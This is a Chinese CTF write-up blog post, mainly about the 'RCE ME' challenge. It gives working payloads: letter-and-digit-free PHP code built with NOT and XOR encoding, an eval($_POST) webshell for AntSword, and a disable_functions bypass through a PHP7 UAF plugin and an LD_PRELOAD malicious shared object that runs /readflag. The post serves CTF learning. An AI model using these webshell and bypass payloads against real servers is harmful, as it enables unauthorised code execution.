2021-02-25

46 篇文章 0 订阅

[BSidesCF 2019]Futurella

在这里插入图片描述整了个火星文,看不懂查看源代码在这里插入图片描述
本萌新直呼好题~~

[极客大挑战 2019]RCE ME

知识点

  • 无字母数字RCE
  • 绕过disable_functions

打开题目的实例
在这里插入图片描述
code中不能含有字母和数字,有长度限制。
现在的问题是要绕过preg_match()中正则表达式的限制并getshell,连上蚁剑或菜刀,考虑异或或者取反绕过。
先出一个phpinfo()看一下配置(我们这里看一下PHP版本以及禁用函数),用符号构造phpinfo,这里直接用取反urlencode编码绕过 什么是urlencode编码
payload:

 ?code=(~%8F%97%8F%96%91%99%90)();

UrlEncode编码/解码在线网站

异或:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
// ${_GET}{%ff}();&%ff=phpinfo

在这里插入图片描述
可以看到是PHP7,但是system、exec、shell_exec等命令执行的函数都被禁止了,先构造个Shell连上看一下

但是我的思维还是存在局限性,就是只是单纯的(函数)(参数)这样的去执行函数,对于如何$_POST传参让蚁剑连有些迷,后来也是看了大师傅的才恍然大悟。直接这样:

<?php 
error_reporting(0);

$a='assert';
$b=urlencode(~$a);
echo $b;

echo "<br>";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;

 ?>

在这里插入图片描述

取反
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6); //别忘了后面的分号
或者(异或):
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

在这里插入图片描述
检验shell有效

上蚁剑,发现一个flag文件(空的),一个readflag文件在这里插入图片描述
需要执行readflag才能得到flag,当时因为限制了很多函数,这个shell基本是废的,一个不能执行命令的shell叫什么shell。
在这里插入图片描述

所以这里需要绕过这个disable_functions,并执行命令。

方法一:想到蚁剑有一个绕过disable_functions的插件,正好有PHP7的UAF
在这里插入图片描述
在这里插入图片描述
然后回进入到一个虚拟shell模式,输入/readflag,得到flag在这里插入图片描述
方法二:利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
参考链接学习深入浅出LD_PRELOAD & putenv()
EXP地址

学完接下来实战
上传这两个文件:
在这里插入图片描述
然后需要重新再构造一下payload,我这就直接用网上的异或payload:?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
即为
?code=${_GET}[_](${_GET}[__]);&_=assert&__=eval($_POST['a']) // assert(eval($_POST['a']))
包含我们的exp执行命令
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
执行得到flag:
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值